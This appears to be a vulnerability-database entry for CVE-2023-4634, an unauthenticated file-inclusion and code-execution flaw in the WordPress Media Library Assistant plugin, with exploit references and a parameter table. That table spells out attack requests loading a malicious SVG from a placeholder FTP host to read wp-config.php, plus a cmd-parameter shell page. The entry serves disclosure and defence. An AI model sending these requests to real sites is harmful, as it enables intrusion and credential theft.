CVE-2023-4634

🗓️ 06 Sep 2023 08:27:50Reported by WordfenceType

cve🔗 web.nvd.nist.gov📰️ 2 Media mentions👁 142 Views🌐 WEB

CVE-2023-4634: Media Library Assistant plugin for WordPress vulnerable to Local File Inclusion and Remote Code Executio

Reporter	Title	Published	Views	Family All 20
GithubExploit	Exploit for CVE-2023-4634	4 Feb 202617:59	–	githubexploit
GithubExploit	Exploit for CVE-2023-4634	5 Sep 202307:44	–	githubexploit
zdt	Wordpress Media Library Assistant Plugin - Remote Code Execution / Local File Inclusion Exploit	9 Oct 202300:00	–	zdt
BDU FSTEC	The vulnerability of the Imagick() function (~/includes/mla-stream-image.php) of the Media Library Assistant plugin of the WordPress content management system allows a hacker to execute arbitrary code.	11 Sep 202300:00	–	bdu_fstec
Circl	CVE-2023-4634	5 Sep 202311:57	–	circl
CNNVD	WordPress plugin Media Library Assistant security vulnerability	6 Sep 202300:00	–	cnnvd
Cvelist	CVE-2023-4634 Media Library Assistant <= 3.09 - Unauthenticated Local/Remote File Inclusion & Remote Code Execution	6 Sep 202308:27	–	cvelist
Exploit DB	Media Library Assistant Wordpress Plugin - RCE and LFI	9 Oct 202300:00	–	exploitdb
Nuclei	Media Library Assistant < 3.09 - Remote Code Execution/Local File Inclusion	6 Aug 202606:22	–	nuclei
NVD	CVE-2023-4634	6 Sep 202309:15	–	nvd

NVD

Vulners

Node

davidlingren media_library_assistantRange<3.10wordpress

[
  {
    "vendor": "dglingren",
    "product": "Media Library Assistant",
    "versions": [
      {
        "version": "0",
        "status": "affected",
        "lessThanOrEqual": "3.09",
        "versionType": "semver"
      }
    ],
    "defaultStatus": "unaffected"
  }
]

Source	Link
patrowl	www.patrowl.io/blog-wordpress-media-library-rce-cve-2023-4634/
plugins	www.plugins.trac.wordpress.org/changeset
github	www.github.com/Patrowl/CVE-2023-4634/
wordfence	www.wordfence.com/threat-intel/vulnerabilities/id/05c68377-feb6-442d-a3a0-1fbc246c7cbf
packetstormsecurity	www.packetstormsecurity.com/files/174508/wpmla309-lfiexec.tgz

Parameter	Position	Path	Description	CWE
mla_stream_file	query param	/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1	LFI via ftp:// resource to mla-stream-image.php allows reading local files like wp-config.php	CWE-73
mla_debug	query param	/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1	LFI via ftp:// resource to mla-stream-image.php allows reading local files like wp-config.php	CWE-73
mla_stream_frame	query param	/wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://X.X.X.X:21/malicious.svg&mla_debug=log&mla_stream_frame=1	LFI via ftp:// resource to mla-stream-image.php allows reading local files like wp-config.php	CWE-73
cmd	query param	/rce_proof.php?cmd=id	RCE proof page executing arbitrary commands via cmd parameter	CWE-77

17 Jun 2026 06:38Current

9.7High risk

Vulners AI Score9.7

CVSS 3.19.8

EPSS0.82585

SSVC